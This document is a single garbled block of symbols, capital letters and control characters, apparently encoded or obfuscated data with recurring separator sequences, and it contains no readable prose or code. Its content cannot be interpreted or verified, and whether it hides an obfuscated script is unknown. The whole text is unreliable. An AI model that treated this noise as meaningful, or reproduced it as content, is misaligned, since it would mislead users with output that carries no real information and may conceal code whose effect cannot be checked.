H7S>%%H%%PJAJSP2&H%1J27P7JAJ"
H%1JPH7S>%%JAJ>&JAJS&H7%P
JAJC%BX(
%7	7<#JAJP2<%JAJ11N#1JHJAJ2%<P2<%JAJP2<%JAJ27H2%JAJ2%72@%JAJ11N#<HJAJ<CH2%JAJS&H#!JAJ,!7%!<%JAJ2%H#%PHS&P%P7JAJ,	"H#77	72#>	#&	JAJSP2&H%1J27P7JAJ27H2%JAJ
%#H<!PS>JAJ#%PH&
P2&JAJSP2&H%1J27P7JAJ!SP2%H
#27JAJ<CJAJS&H%SJAJ27H2%JAJ2%72@%JAJ[[_115N56+(+6F&P6&JAJ7"JAJSP2&H%1J27P7JAJ7SH7"H%
H>2P7JAJ7SH7"H%
H>2P7JAJ7SH7"H%
H!7PJAJP2<%JAJ11 ]7A.)]]11]A]11]11!6%P6S&7P6SP2&67%]NO11JAJ11 KT !T@(TX/]11]]D/911JAJ,!7%+H%S&%JAJ&,H#%PH%%JAJ3&P%PT[
%)6!

2S!P2&11	!!7S2
PJAJ%2S%TW&%T&"%)611JDAEJ[[_115N56B(+6F&63&P%PJAJ[[_HHFFZH[3JAJP2<JAJ[[_HHFFZH[3JAJ[[_115N56^(+6F&P6&22%JAJZ[!#)6JAJ3!S>%T3&P&)6&TS!S>%JAJ7"H%
JAJ7SH%2JAJ7PP&&"%JAJSP2&H%1J27P7JAJ>&<%HJAJ
!7%HJAJSP2&H%1J27P7JAJ#%PH&
P2&JAJ27H7P2#JAJ11)]/911JAJ%2JAJ7SH7%<!P2SH
&,%JAJ3&P%PT[
%)6P%1JP11
!2JAJ3!S>%T3&P&)6&T7P&%JAJ3HZ)JAJ3HZH:JAJ%2H%
JAJ%2H%
JAJ&S%PHS%!H&<!2JAJSP2&H%1J27P7JAJ"^PSH7>H!JAJSP2&H%1J27P7JAJ7#HS!S>%
%77H
#%HS!S>%JAJ2P%7
%%H
#%H!JAJ:2P%
%%H3!S>%H_JAJ
#%H!JAJ\%%@%H_#%3!S>%JAJ<%P>&H%1J27P7JAJ,%%@%HS!S>%H7>JAJ3!S>%HZ!,%JAJS%!HP&P!HS!S>%JAJ"
SHS%!H!HS!S>%JAJ"
H!7P%7PHS!S>%JAJ27H&,	%SPJAJ"
H!7P%7PHS!S>%JAJ<%P>&H%1J27P7JAJ"
H!7P%7PHS!S>%JAJ%%P%3!S>%JAJ"
HS!S>%HS%!HS!S>%JAJ!P&
P2<2@%3!S>%JAJS%!!JAJ
#%H&H	7HS>!#%JAJSP2&H%1J27P7JDAEJ27H!<2JAJ"
H&2#H!	!1JJAJLZ[HLZ;Z[JAJ:L_3HLZ;Z[JAJSP2&H%1J27P7JAJ27H%%JAJ27H&,&P7JAJ27H72P%<!
7JAJSP2&H%1J27P7JAJ27HS7P&<2@%H
%2%"JAJ%%<%P&T
%2%"JAJS7P&<2@%HS>!#%7%PH2JAJH,2%JAJ27H7P2#JAJV117S2
PJAJV]117S2
PJAJ7PP&&"%JAJ7,7PJAJSP2&H%1J27P7JAJ7SH	7H
2PH&P%JAJ7SH	7H
2P%HP7JAJP2<%JAJ27H7P2#JAJ7SH	7H
2P%JAJV11,&-JAJV>P<JAJ7SH	7H
2P%JAJV11,&-JAJ7,7PJAJ7SH	7H&,JAJ7SH	7H&,JAJ&,H7P!PJAJ<&=S
=>^@@5(BJAJ	7H&,JAJ
!#%&"JAJ
!#%&"JAJ	7JAJ7SH7"H>!JAJ7SH7"H!7PHJAJV7S2
P6!P!T7STJAJ!6SP2&>OI!6QQ'2R&2(R2V>N%#P>R2/BO/P2#N&<3>!3&%
!7%P>N7,7P2'BO'5OOR%P6*'JAJ7"!2#!P&KQJAJ7%2S%W&%JAJQOD'JAJJAJ27"O7"KQJAJ#%PL%#27P!P2&7JAJQODONP>%SP2&7OI7N&Z!S>SP2&OI!6<?RJAJ2?<OKQJAJ!SP2%JDAEJQO'QJAJ"!2P2#JAJQO'QJAJ27P!2#JAJQODN&Z!S>SP2&OI2KD00KDKQJAJ7S2
PL:JAJQODO<5*ORJAJ2<OKQJAJ%#27P%JAJQODO*O*OKQJAJS!PS>JAJQODSP2&OI*OJAJV117S2
P-JAJ>PP
7)1111JAJ>PP
7)1111JAJ&JAJV7S2
P6!P!T7STJAJ!6SP2&>OI!6QQ'2R&2(R2V>N%#P>R2/BO/P2#N&<3>!3&%
!7%P>N7,7P2'BO'5OOR%P6*'JAJ7%2S%W&%JAJQODRJAJ27"OIJAJ7"KQJAJ#%PL%#27P!P2&JAJQODJAJNP>%SP2&OI2?O7"KQJAJ%#27P%JAJQODJAJ'I7S&
%)JAJ*OKQJAJQODSP2&OI*O*OJAJKQJAJS!PS>JAJQODSP2&OI*ORJAJ7"KQJAJ!Z%P:27P%%JAJQODQJAJQO'SP2&%OIJAJ!6%KQJAJ!P!JAJ200NSOIPI%"6SP2&!P&,NSOOO*S!PS>1JOI***ORJAJ7"KQJAJ%!JAJQODNP>%SP2&OIJAJKQJAJQODKQJAJ
&7P%77!#%JAJQODIP)QQ*O*O*JAJ7"H%#JAJ
%#H<!PS>JAJ11]11]A63)]/]N]/]N]/O6]A]1111JDAEJ27H!!JAJN
>
JAJN
>
JAJN
>
JAJ2%H#%PHS&P%P7JAJ7P
&7JAJ11]11]A63)]/]N]/]N]/O6]A]1111JAJ,!7%!<%JAJ&
S!S>%H2!2!P%JAJ&%2#H72
6JAJ,!7%!<%JAJ11N7HJAJ,!7%!<%JAJ2JAJ2!<%JAJN
>
JAJSP2&H%1J27P7JAJ<T
#27JAJSP2&H%1J27P7JAJ,!7%!<%JAJ#%PH72P%H&
P2&JAJ2!<%JAJ11N,!HJAJ%1J
&%JAJ2JAJ2%72@%JAJ
!P>JAJ%!
!P>JAJ
!P>JAJ%!
!P>JAJSP2&H%1J27P7JAJ7,7PJAJN
>
JAJ<CJAJ3H3LZH\[[L__ZMJAJ11 ]/]N]/]N]/911JAJ-JAJ7SH,&&PH%JAJSP2&H%1J27P7JAJS%!7P!PS!S>%JAJ2%<P2<%JAJ3H3LZH\[[L__ZMJAJ3H3LZH\[HZLJAJSP2&H%1J27P7JAJ%@H>,7X2S
+B#X7JAJ7><=PP5,JAJ7PP&&"%JAJ
!P>2&JAJ2%72@%JAJ7>P&"JDAEJ@	1JC=^+CX
!JAJ7SH2	%SPH%7JAJ@(#&%!X!S2@PJAJ,,H(<X1JP+S1J	
77JAJN
>
JAJP2<JAJP&S>JAJ11N,PHJAJ,!7%!<%JAJN&SHJAJ5,SP^>H%+
HHJAJ	,#X#BX#JAJ&!T
#27N
>
JAJ!<2H22PJAJ5,SP^>H%+
HHJAJ!&#&><!CB@,SSJAJ!<2H22PJAJ	#!=7"&H^JAJ!<2H22PJAJH==P@#!	@H22JAJ&"	
>=	B7JAJ"
<H%2%HS&%SP&H&
P7JAJP=++1J	P=^JAJ"
H2%H<!!#%HS&%SP&H&
P7JAJP=++1J	P=^JAJ%2%HS&%SP&H&
P7JAJ2%H<!!#%HS&%SP&H&
P7JAJ!P>%P2S!P%JAJ+>><5
&<@2JAJ"
H&#2JAJ	@H""&>+JAJ
%H7%H%JAJ7S>!%P(S<&,H<B!^JAJ%7PH7%H%JAJ>!SS77
S"#&%(JAJ2%"7H7%7JAJ1J1J25((^C#!!#&+=@JAJ%,#H2&<!P2&JAJ1J>,+=2!#5"%#>&
H51JJAJ7>&"H!!S%H
#27JAJ%XB!7@
JAJ!<2H>%!T
#27N
>
JAJ72P%HP!72%PH
!P%H
#27JAJ<@%<#@HH
!JAJ!H
#27JAJ"
H!	!1JH<H2%H&%H<!!#%JAJ,5C#5+^P@&@#%JAJ"
H!	!1JHS&%SP&JAJ"
H!	!1JH7HS&%SP&JAJ,5C#5+^P@&@#%JDAEJ"
H&&P%JAJ&>X7<!<(=<S
^<	">7JAJP%<
!P%H%2%SPJAJXX%7%5&P#BSCJAJ!<2H&&P%JAJP#+>(52+@H,!,%7%@JAJ&#2H&&P%JAJP#+>(52+@H,!,%7%@JAJ
#27H&!%JAJ"S>P1J,(,P1J#^
>PJAJ
#27H&!%JAJ!&
7>""@>#@JAJ
#27H&!%JAJB7!B&(5
H5%JAJ&,<"<P
,7SB=#JAJ
71J<7,7
#"%&5&JAJ
#27H&!%JAJ&X>B+(1JH
JAJS1J""B!	#S=%#JAJ2(<X2>"&S2HJAJ<1JH@7(H&#JAJ@!B	
%@	P1J<JAJ,<#C(H@^+H+S^JAJ%#27P%H7>P&"HSP2&JAJSP2&H%1J27P7JAJ#%PH&
P2&JAJ,<#C(H@^+H+S^JAJ
#27H&!%JAJ1J&CH
!"%^JAJS,S((2X1J+#<>	JAJ(
(>(7<=
	!XJAJSP2&H%1J27P7JAJ7SH!7PH%S&%HS>%SJAJ7SH!7PH%S&%HS>%SJAJ7SHS&H%PS>JAJ2!^+<"	7	JAJS&H7S>%%7JAJ1J
1J&,55!&JAJSP2&H%1J27P7JDDVMI6I0VM2[
^EIDIP]	\_EIDVIPJ,/>=JCJ9%JCJ2JCJYJCJC^JCJ_JCJJCJ
JCJJCJ :!JCJ8*$#JCJ)? BJCJ@	JCJ."JCJ(11PJCJGMJCJ;WEJCJFD+JCJ<&1JAJCJ]JCJQRJCJSJCJTZJCJX\UJCJ[54JCJ7VJCJO6JCJ0KLJCJ3JCJIN'HJCJ-JVIPJ\JCJ_[JCJ7SHJCJ%JCJ&+JCJN^BJCJ
#JCJ2,JCJ!<WJCJ:JCJFMJCJL11TJCJ>JCJP3JCJZ"]JCJ1JJCJA6JCJ)/OJCJ;JCJY'JCJ(VJCJ.@-XJCJCJCJ5=JCJE JCJ	RJCJIQKJCJ*DJCJ0?JCJ JCJ98JCJG$JCJU4JVIPOOVEIP]VIQEIDVIFFDIPEIAI6I0DVICPEIPPPDRI6I0WI6I0VMIVM[_
 EIDIPIF]VM2[
^EIDVM]]
X_EIDIPIF]VM2[
^EIDVMT2_\_\EIDIPIVM2[
^EIDVggM^[Z]2[	 EIDI _\ ]PEIG[DFY^VMI _\ ]H[VggggMMMgM		E2[
^E]DDMMMMMVgMMMMgMMMMT2 _U_ EDgMMMMgMMMMMMMEI*!"/,!>6]]
X_E\D0DMMRMI*!"/,!>6]]
X_E\D0MMWMMMT2_\_\E_DVgMMMgMMMMMMTXXEDggMM22+$!(22VgMMgMMMMMMMM	 U[\EDggggMMMMMT2_\_\E^DETXXEDDVggMMMMMMM\2[_U2EDgMMMMMMgMMMMMME[_
 EYDE]]
X_EXDDDMMMMMMM
2 ETXXEDDVgIYTX]	MMMMPMMTXXEDVgMIT2Z[^MMMMMPMM		E]]
X_E[DDMMMMMMRMMM:=2=!8*$#2)$?MWMOOVgMMMMMMEIT2Z[^MLPPMMMOOMMKKMMMMMM[_
 EZDEIYTX]	AMMMIT2Z[^DMMMMPPPMMM]DMMMMMMT2_\_\EUDE]]
X_ETDEIYTX]	AM2[
^E\]DEIT2Z[^DDAMMJBJDVgMMMM]]
X_E^DET2_\_\E\\DEIYTX]	DDMMMCMJBJMMMMCMMM[_
 E\_DEIYTX]	DVggMMMMM	2	TY_
TEDggggMMMMMT2_\_\E\^DE		E2[
^E\YDDMMRMM:= 82=!8*$#2)$?MMWME:=2."#9(#92)$?MMCMMM[_
 E\XDDAMJBJDVgMgMX_ \EDgMMMMgMMMM[_
 E\\DETXXEDDVgMMMMMMMMgMMMMMZ^\2 EIYT]XAMMMI__^\\MMMMPMMMEYT\F_DAMI	]^\^
TMMMPMMDgMMgMMMMMM]]
X_EYDE2[
^E\[DDMMRMMMM-[_
 E\[DEIYT]XAMI__^\\AMMMMMI	]^\^
TDMMMWMMVI[__P=%=2 ,'"?2;(?>$"#VI	[Y2XPI[__G[VgMgggMMMMMM    ^U]EI 2YZUAMMMI__^\\DgggggMMM]]
X_EYDE2[
^E\ZDDMMMMRMMM-T2_\_\E\ZDEI 2YZUAMMMI__^\\DMMMWMMVgMgMMMM__2EI 2YZUDgMMgggMMMM]]
X_EYDE[_
 E\UDDMMRMM-2[
^E\UDEI 2YZUDMMWMVI	^ [TT	PUTTVIT2]	TTPEI	^ [TT	S]DRI	^ [TT	W@I	^ [TT	VggggM[]^^
_EI 2YZUAMMMMI 	^ZYZ[DgMMMMMgggMMMMMMMM]]
X_EYDET2_\_\E\TDDMRMMMMMM-]]
X_E\TDEI 2YZUAMMI 	^ZYZ[DMMMMWMMMVgggMMgggMMMMMMM\\_ EI 2YZUDggMMgMI][ MMMPMMM	^EDVgMMMMMMM[]^^
_EI 2YZUAMMEI][ MM@MMMMMEI][ MMMMHMETTTUTF\\DDDMMMFMM\YTYEDDVggggMMMggMMMMMM X 
Y\^	EI
2UT[AMI TU_]DgMgBBM-	M		@
ggMMMMMT2_\_\EYDE2[
^E_]DDMRM-[_
 E_]DEI
2UT[AMMI TU_]DMMWMVggMMMMMMMMM]	 \XZ	TEI
2UT[AMMMMMI TU_]DgMMMMMMggggMMMT2_\_\E_\DET2_\_\E__DDMMMMMMRMMMMM-[_
 E__DEI
2UT[AMMMMI TU_]DMMWMVgMgMM\^	]X\ XEIYT]XAMMMI 2YZUDgMMMMMMMMgggMMMMT2_\_\E_\DE]]
X_E_^DDMMMRM-T2_\_\E_YDEIYT]XAMMI 2YZUDMWMMMMMVgMMMMgMMMM\ __EDgMMgBBMMM@@
gggMMMMI]MPMMMMVggMMEI]MMMMLPPMMMMMDMMMMMMI]VgMMMI]MMPMMMMMT2_\_\E_\DE]]
X_E_XDDMMRMMMMM2[
^E_XDEDMMWMMMMMMT2_\_\E_[DVgggMMME-T2_\_\E_ZDEI]DMMKKM-2[
^E_UDEI]DDMMMI]VgMI	]_[	MMMMMPMMMMM		ET2_\_\E_TDDMMMMRMMMMM:=2."#9(#92)$?MMMWMMMMME		E[_
 E]DDMMMMRM,/>=,9%MMMCM[_
 E^]DMMMMMWMMMMOODVgMMMMMMMMMMEI	]_[	MMLPPMMOODMMMgMMMMIYTX]	MMMMMMPMMT2_\_\E\^DEI	]_[	AMT2_\_\E^\DDMCMM]]
X_E^_DVgMMEL-T2_\_\E^^DEIYTX]	DDM-2[
^E^YDEIYTX]	AME]\_F]\	DAMDVgggMME-T2_\_\E^^DEIYTX]	DMMMKKMM-[_
 E^XDEIYTX]	DDMMMMgBBM	
MM
	ggMMMMMMMET2_\_\E^[DE]]
X_E^ZDDDM-E2[
^E^UDMMMMCMIYTX]	DVgI*!"/,!>6]]
X_E^TD0MMPMMMM\VgI]MMPMMMMIYTX]	VgMMMMgMgMMMMI]VggMMYYU2  2\[EDgMgMMMIYT]XMMPMX_ \EDVgggMMMMMI__^\\MPMMMMM	2	TY_
TEDVgBBMM MggMMEIYT]XMPPPMMI__^\\DMMVggggMMMMME[_
 EY]DET2_\_\EY\DDDMMgMMMMMIXUMMPM-T2_\_\EY\DEIYT]XDVgMMMMI UT	ZMPMMM-]]
X_EY\DEI__^\\DVgMMMMMMEIXUMLPPMMMMMKKMMI UT	ZMLPPMMMMKKMIXUMMMMPPPMI UT	ZDVggggMMVgMMMMMMgMMM\YTYEDgMMMggMMMMMET^ZZ]FYTDVI2UU
PT]F\^VI	] PI2UU
@^VgMMgMMMMMMMM
T[ _X	^	EDgMMMMgMMMEL		E[_
 EY_DDDMMMMMMMOOVgMMMMMMI	]_[	MPMMM		E]]
X_E_TDDMMMMMRMM:=2."#9(#92)$?MMWMMM,/>=,9%MCMMMM[_
 E^]DVgMMMMMMMM2[
^EY^DEI	]_[	AMMM2[
^EYYDDMMCMM[_
 EYXDMCM]]
X_ETDET2_\_\EY[DE,/>=,9%MMMMMMCM]]
X_EYZDDAMMMMMM]AMME[F_DDMCMMM[_
 EYUDMMCM]]
X_EYTDE[_
 EX]DE,/>=,9%MMMMMMCMMMM2[
^EX\DDAM]AMME\]]3\]UDDMMCMMMT2_\_\EX_DVggMMM]
^XXU[YEIZX MMMPMDggMMMI 2YZUMMMPMMMM
T[ _X	^	EDVgMMMMEI 2YZUMMPPPMMMOODMMMMMMMMMMVgMMMMMMEL[_
 EX^DEIZX DMMMT2_\_\EXYDEIZX DMMQME]TF]\_DDMMMMIZX MPMM] UX_^^EDVgMMMMMMMELIZX MMMMMMML]TX^EIZX DDMMMMVgMMMMMIYT]XMMMMPM]]
X_E\\DEI 2YZUDVI\2Z\P=%=2 ,'"?2;(?>$"#VI\^	2PI\2Z\GZVgMMMMMMEL-2[
^EXXDEIYT]XDDMMMZ^\2 EIYT]XAMME[XZ@\[YDAMMDVgMMEL-2[
^EXXDEIYT]XDMML-T2_\_\E^XDEIYT]XDDMMMMMVgMMggMME-T2_\_\EX[DEI 2YZUDDMMMMMgMMMMME2[
^EX]DE2
	

EE
DMM-2[
^EXZDEI 2YZUDDDMMMPPPMM[_
 EX]DEIZX DDMMMMVggMMMMMI \\]MPMM	_2U2^T
EI 2YZUDVgggMMMEI \\]MMLPPMMMMMKKM2 EI \\]AMMMMT2 _U_ EDAMJSJDDMMMMMMMMVgMEI \\]DVgMgMMMMMMMMMMMMELYY2T  ^\EI 2YZUAMMIZX DDMMMMMVgM    ^U]EI 2YZUAMMME^_^FTZDDVgMMMMYU	XT]2EI 2YZUDVgMMMMVgMMMMMgMM2Y[^U]TX	EDgMMMMMMIY^ T
XPZ]Y[VI_PIY^ T
XHUVgMMMIZX MPMMMM] UX_^^EDVgMELIZX MML]TX^EIZX DDMMMMVgMMI]_
] MPM[_
 E\_DETXXEDAMT2_\_\EX_DDVgMMMI [X\MMPMM]]
X_EXUDE2[
^EXTDDMMMRMMMM _^][[	EDMMWMMMME		E[_
 E[]DDMRMM:=2."#9(#92)$?MMMMWMMMMOODVgMMMMMMEI [X\MMMPPPMMMMMOODMMMMMVgggIT2Z[^MMMMPMI [X\MMMCMM2[
^E[\DMCMMMMI]_
] VgMMI2UY^MMMPMIT2Z[^MMMMMCMMMJBJMCMMI]_
] MMMMCM2[
^EX_DVgMMIX 
 TMMMMMPMMMVgMMggMME2[
^E[_DET2_\_\EY\DDDMgMMMIU\X]^XT
MMPMM-T2_\_\E[^DEI2UY^DVgMMMI	UXYU2MPMMMM-2[
^E[YDETXXEDDVgMMIX 
 TMMPMME[_
 EX^DEIU\X]^XT
DMKKMM]]
X_E[XDEI	UXYU2DMKKMIU\X]^XT
MMMPPPMI	UXYU2DVgMMgMMMMMELIX 
 TDMMMMgggMEL-2[
^EXXDEIT2Z[^DDMZ^\2 EIT2Z[^AMMEU_\@^_UDAMMMDVggMMMMMEL-]]
X_EXXDEIT2Z[^DMMML-]]
X_E^XDEIT2Z[^DDMMMMMMVgMMEL-[_
 EX[DEI2UY^DMM2[
^EX]DE2
	

EE
DM-[_
 EXZDEI2UY^DDDMMLPPMM[_
 EX]DEIZX DDMMMgMMME-T2_\_\E[[DEI2UY^DDMIU	\PE]_ZF]YDVI	]2^	PIU	\HZVgMMMI \\]MMPM	_2U2^T
EI2UY^DVggMMMMMMMMMEI \\]MMMLPPMMMKKMMMM2 EI \\]AMMMT2 _U_ EDAMMMJSJDDMMMMMVgMMMMMMMEI \\]DVgMMgBBM:=M?9M,=$MMggMMMMMMELYY2T  ^\EI2UY^AMMMMUT_[_YEIZX DDDMMMMMMMMMMVIZUUXXP=%=2$#92 ,5B=%=2$#92 ,5VIU [Z\T_PIZUUXXF_ZVgM    ^U]EI2UY^AME^ZTFY\DDVgMMM\\_ EI2UY^DVgggMYU	XT]2EI2UY^DVgMMMMMMggMMMMgMMgBBMM	MM:=M=M,gggMMMME]]
X_E[_DE]]
X_E[ZDDMMMMKKMMM]]
X_E[UDE]]
X_E[TDDDMMgI2XX[[T	 ZMMMMPMI]_
] MMMMMMCMMMMMJBJMMCMI]_
] MCMMMMMT2_\_\EZ]DVggMI^Z\MPMMM
2E2[
^EZ\DAMEDDVggMMMMMMMMMELT2_\_\EZ_DEI^Z\DDMMMI^Z\MMPMEDVI
]\^PU[FYZVIZPI
]\^@Y]VgMMMMMMMEL2[
^EZ^DEI2XX[[T	 ZAMMI^Z\AMDDMMgMMMMI^Z\60MPMMMMI2XX[[T	 ZVgMMMM	2E2[
^EZYDAM]]
X_EZXDEI^Z\DDVgMMMgMgMMMMMMMMMVI XYP[]XTVI

_PI XYHXVgMgMMM	_2U2^T
EI 2YZUDggMI\TMMPMMMMM-T2_\_\EXZDEI 2YZUAMAMMMAM]AMMMMMEZU_\@^Z_XDDVgMMMMMMELT2_\_\EZ[DEI\TDDMMVggMMME2[
^EZZDE[_
 EZUDAMMMI\TAMMI__^\\DDMMMMMMI__^\\6\0VgMMMMVgMgMgMMMMMMMX_U2 EI	]YYAMI	  \^YDgMMMMMMMgg-EAMI	]YYDVggI^ Z2XT2MPMMM-[_
 EZTDEI	]YYDVggMMMMMMELI^ Z2XT2MMMMEI^ Z2XT2MMMMHMMETTT[]FY]DDMLPPM\YTYEDDMMgMMMVgMMMMMMMgggMMgMITX	UZMMMPMM-T2_\_\EU]DEI	]YYDVgMMMITX	UZMMMKKMMITX	UZMMSPMI	  \^YVgMMgggMgMMM22\2\\EDgMMMMggMMMME]XX]F]^ZTXDVgMMMgMMMMMMM[ZX	EDgggMMggM2[
^EU\DVgggMMMMggggMMMMMMMMZYU_YTUEDgMgMMMM2[
^EU_DVgMggMMMX	[X2	] Z^[YEDgMMMMMMgBBM- M 		gggggMMMMMMMME2[
^E[UDE2[
^EU^DDDMMMMMMVgMMMME YZ 

ZEDDMMMMMVgggI
]^[XMPMEI2>(?;(?62[
^EUYD0DMRM2[
^EUXDEE
DMMMMI2>(?;(?62[
^EU[D0DMMMWMMMOOVgggMMMMMMEI
]^[XMMLPPMOOMMMKKME]]
X_EUZDEI
]^[XAMT2_\_\EUUDDMMLPPMMMMMMM2[
^EUZDEI
]^[XAMMMM[_
 EUTDDMMMMMLPPMMMMT2_\_\ET]DEI
]^[XAMMMMM[_
 ET\DDMMMLPPMMDDMMMMMMVgMMMMEI
]^[XMMMPPPMMOOMMKKMMT2_\_\ET_DEDMMLPPM[_
 ET^DMMMMKKMMMEI2>(?;(?62[
^ETYD0DDMMMMMMVgMMMMMVggMM YZ 

ZEDgggMgMI
]^[XMMPMMEI2>(?;(?6T2_\_\ETXD0DMMMMRMMI2>(?;(?62[
^ETXD0MMWMMOOVgMMMMMMMM]]
X_EZ[DEI
]^[XDMKKMEI
]^[XAMM2[
^EUTDDMLPPMMMVgMMMgMMMMMMMMMM][X2	EI\X	DgMgMMMMMMMIZ2
XMMPMT2_\_\E[UDE2[
^ET[DDMMRMM-2[
^ET[DE]]
X_ETZDDMMWMVgMMMMELIZ2
XMMMIZ2
XMMMMPPPMMMOODMMMMMVgMMI2Y_Y	YTYMMMPM-[_
 ETUDEI\X	DVgMMELI2Y_Y	YTYDMI2Y_Y	YTYMMMPMMI\X	VgMMMME2[
^ETTDE=,9%2>(=,?,9"?AMMMMIZ2
XDMMMMMI 	[TX2YDMMMgBBM M
MM:=M(M=	ggMMI 	[TX2YMPMMM]]
X_EY^DEI 	[TX2YAMMMMMT2_\_\EYYDDVgMMMMEI 	[TX2YMMKKMMEI2Y_Y	YTYMMPPPMMMI 	[TX2YMMM]]
X_E\]]DEI2Y_Y	YTYAMI 	[TX2YMCMMMMMM)$?(.9"?42>(=,?,9"?DMMMMMPPPMMMMM]DDMMMMMMMVggggMMMMgMMVggMMMMYUZ	TEIY]	_2Y	DgMMgBBMM  M	
ggMMMI_MPMMMMMIY]	_2Y	MCMMMJJMMMCMME		E[_
 E\]\DDMMRMMM)/2#, (MMMMMWMMOODMCMMMJJMCMMMMME		E[_
 E\]_DDMRM,/>=,9%MMWMMMOODVgMMT2_\_\EX]DEI_DVggMTZ\]EIY]	_2Y	DgMMMgMMM
MMI	VggMMMMMMELEI*!"/,!>6]]
X_E\]^D0DMMMML[_
 EZ_DEI*!"/,!>6T2_\_\E\]YD0DDMI*!"/,!>6T2_\_\E\]YD0MMMPMMMEDVgggMMMEL EI*!"/,!>62[
^E\]XD06IY]	_2Y	0DDMgBBM 
MMM	ggMMMMMMMMI*!"/,!>62[
^E\]XD06IY]	_2Y	0FFVggMMMMMMMMVgMMMMMgMMME[_
 E\][DEI	DMKKM]]
X_E\]ZDEI	AMMMMMM[_
 E\]UDDDMMMMMgMMI	]^\^
TMPMMMMM-I	@S
2E[_
 E\]TDMMMCMMYUZ	TEIY]	_2Y	DMCMT2_\_\E\\]DDVgMEI	]^\^
TMMPPPMMMMMJ\JDMgMMI*!"/,!>62[
^E\\\D06IY]	_2Y	0MPMM\VgMMMMMVgMMMMMgMMMMMEI	]^\^
TMPPPMMMJ]JDMMMMVgMMMMMMggMMMMMMMME[_
 E[UDE[_
 E\\_DDMMMKKMM2[
^E[UDE[_
 E\\^DDDMgI

TT^_MMMPMMEDVgMMMMMMMMME[_
 E[UDET2_\_\E\\YDDDMMI

TT^_60MPMMM[_
 E\\YDEDVgMMMMME		E2[
^E[]DDDMMMI

TT^_60MPMMMMM:=2."#9(#92)$?VggMMME		E2[
^E\]_DDDMMMI

TT^_60MPM2[
^E\\XDE,/>=,9%AMM2[
^EYYDDVI\Z ^PZT\Y^VI2] 2PI\Z ^3\T[VgMMMMMMMEI

TT^_MMMMIYT]XDMgBBM-M	gggMMMMMEIYT]XMMMPPPMMMMMOOMML-2[
^EXXDEIYT]XDMML-]]
X_E^XDEIYT]XDDMMVgMMI	ZTMMPMMM-[_
 E\\^DEIYT]XMMMCMMM]]
X_E\\[DMCMMMYUZ	TEIY]	_2Y	DMMMMMCMMMM[_
 E\\ZDAMMMMJJDVgMMMMEI	ZTMMLPPMMMMDMMgMMMMMEL-EI	ZTAMMMMM!".&2(5MMMM!".&2#/DDMMMMMgBBM:=M+M>M(	
WM 	M@gggggMM-EI	ZTDVgMMVggggMMMMELEI*!"/,!>6]]
X_E\\UD0DMMMMMML]]
X_EZ_DEI*!"/,!>6[_
 E\\UD0DDMMMMMMI*!"/,!>62[
^E\\UD0MMMMPMMMMMEDVgMI*!"/,!>6]]
X_E\\TD06IY]	_2Y	0MPMMMMMI	ZTVgggMMMMMMI*!"/,!>6]]
X_E\\\D06IY]	_2Y	0MMPMMM\VgMMMMMMVggggMggMgMMgMMVgMMMgMMMMMMMMM^U^\
TEIY]	_2Y	DggMMMMM
MMMI	VgMMMMMMMME EI*!"/,!>6[_
 E\\\D06IY]	_2Y	0DDMMMVgMMI*!"/,!>6]]
X_E\\\D06IY]	_2Y	0@@VggMMMMMEI*!"/,!>62[
^E\\\D06IY]	_2Y	0MMSM]DMMMVgEI*!"/,!>6[_
 E\\\D06IY]	_2Y	0DVgMMMMEEI*!"/,!>6]]
X_E\\TD06IY]	_2Y	0DDMgMM-EI*!"/,!>6]]
X_E\\TD06IY]	_2Y	0AM!".&28#DVgMM-EI*!"/,!>6T2_\_\E\_]D06IY]	_2Y	0DVgMMEI*!"/,!>62[
^E\_]D06IY]	_2Y	0DVgMgggMMMMMMME2[
^E\][DEI	DMMKKMM]]
X_E\]ZDEI	AM2[
^E\_\DDDMMMg-I	@SE[_
 E\__DMMMCMMYUZ	TEIY]	_2Y	DMCMT2_\_\E\_^DDVgMggMgMX	
] ^_EDgMMgMMME		E[_
 E\_YDDMMMMKKM)$>,!!":2+$!(2 ")>DMMVgggMMMMMMMMMVgMgMMMM]Y\
\[ZEI	T_AMI

ZDgMMgMMMMMMMgMMMMME2ET2_\_\E\_XDDMMMKKMMI

ZMMM9DMMgMMIU\ ZZTZ[MPMMM]]
X_EYTDEI	T_MCMM2[
^E\_[DMCMI

Z@S
 
EDAMM]AME_Y\F\XDDVgMMMMMMEI

ZMMMMMMM(DMgMMMMIU\ ZZTZ[MMMMMPMT2_\_\E\_ZDEI	T_MCMMM[_
 E\_UDMMMCMMMMMI

Z@S
 
EDAMMM]AMME\Z\FUXDDVgMMMMMMMMMMET2_\_\EZ[DEI

ZDMMKKM]]
X_EXYDEI

ZDMMMMSMMM]DMMMgMMIU\ ZZTZ[MMPM]]
X_E\_ZDEI	T_MCM2[
^E\_UDMCMMMI

ZAM]AMMMME]XF]DDVgMMMMMMMMgBBM:=M%
M"	M. M M
ggggMMMVggMMMgMMMMELEI*!"/,!>62[
^E\_TD0DDMMI*!"/,!>6]]
X_E\_TD0MMMMPMMEDVgMMMMMMELT2_\_\EZ^DEIU\ ZZTZ[AMMMMMI*!"/,!>6]]
X_E\_TD0AMMDDMMgI*!"/,!>6]]
X_E\_TD060MMMMMMPMMMMMIU\ ZZTZ[VgMMMMMgMMMMMMMET2_\_\E\^]DEI*!"/,!>62[
^E\_TD0DMMSME_XQQ\DDMMMMMggMI*!"/,!>6T2_\_\E\^\D0MMPMM2[
^E\^_DEI*!"/,!>6[_
 E\^\D0AMMMMM@EYFY[DDVgMgggMMMMMMME9MIUX
	DMMMMMMggMMMMMMME(MMMMIUX
	DMMMgMMMMMgMMMgMMMMU		
EI\TAMI[	2X[]^AMI 2YZUMMMPMMMME_X]3_Y]DAMMMMMMI MMPMM\DgMMMMMMMgMMMEL[_
 E[UDE]]
X_E\^^DDDMMMMMMVgMMMMME]]
X_E\^YDEI[	2X[]^DDMgggMMMM		2EI\TAMMMMECCCIX^	DMMMMMEI[	2X[]^DMMMMgMMMME2[
^E[UDEI[	2X[]^DDMMMMMMMMMI[	2X[]^ECCCIX^	DVgMMMMMVgAMI 2YZUAMMMMI DVgMgggMMMMMM		2EI\TAMMMI[	2X[]^AMMMI 2YZUAMMMI DVgMgMMMZ^Y[[  ^EI\TAMMMI[	2X[]^AMMMMI 2YZUMMPMMMMME\_@_DAMMI MMMPMMM\DgMMMMgMMMMMEL[_
 E[UDE2[
^E\^XDDDMMVI2]P@Z\ZVIT	_
PEI2]S]DRI2]W@I2]VgMMMMMMMME]]
